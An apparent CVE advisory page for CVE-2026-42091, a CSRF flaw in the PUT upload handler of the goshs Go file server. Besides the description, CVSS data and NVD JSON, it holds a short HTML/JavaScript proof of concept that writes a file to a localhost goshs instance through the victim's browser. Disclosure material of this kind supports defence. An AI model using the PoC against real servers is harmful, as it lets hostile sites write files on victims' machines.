Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-42091 CVSS 6.5 MEDIUM

CVE-2026-42091

Published: 2026-05-04 18:16:31
Last Modified: 2026-05-12 18:34:28

Description

goshs is a SimpleHTTPServer written in Go. Prior to version 2.0.2, the PUT upload handler (httpserver/updown.go) lacks the CSRF token validation that was added to the POST upload handler during the CVE-2026-40883 fix. Combined with the unconditional Access-Control-Allow-Origin: * on the OPTIONS preflight handler (httpserver/server.go), any website can write arbitrary files to a goshs instance through the victim's browser β€” bypassing network isolation (e.g. localhost, internal network). This issue has been patched in version 2.0.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:* - VULNERABLE
goshs < 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-42091 --> <!-- Usage: Host this file and open in a browser while goshs is running on localhost --> <!DOCTYPE html> <html> <body> <script> // Target the goshs instance (e.g., localhost) const targetUrl = 'http://localhost:8000/upload/malicious.txt'; const maliciousContent = 'This is a malicious file content via CVE-2026-42091'; fetch(targetUrl, { method: 'PUT', headers: { 'Content-Type': 'text/plain' }, body: maliciousContent }) .then(response => response.text()) .then(data => console.log('Upload success:', data)) .catch(error => console.error('Upload failed:', error)); </script> <p>CVE-2026-42091 PoC: Check console for results.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42091", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:31.210", "lastModified": "2026-05-12T18:34:28.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to version 2.0.2, the PUT upload handler (httpserver/updown.go) lacks the CSRF token validation that was added to the POST upload handler during the CVE-2026-40883 fix. Combined with the unconditional Access-Control-Allow-Origin: * on the OPTIONS preflight handler (httpserver/server.go), any website can write arbitrary files to a goshs instance through the victim's browser β€” bypassing network isolation (e.g. localhost, internal network). This issue has been patched in version 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.2", "matchCriteriaId": "D83E7458-F091-489A-9C7A-2189CF452680"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/commit/0e715b94e10c3d1aa552276000f15f104dee2f32", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patrickhener/goshs/releases/tag/v2.0.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-rhf7-wvw3-vjvm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-rhf7-wvw3-vjvm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}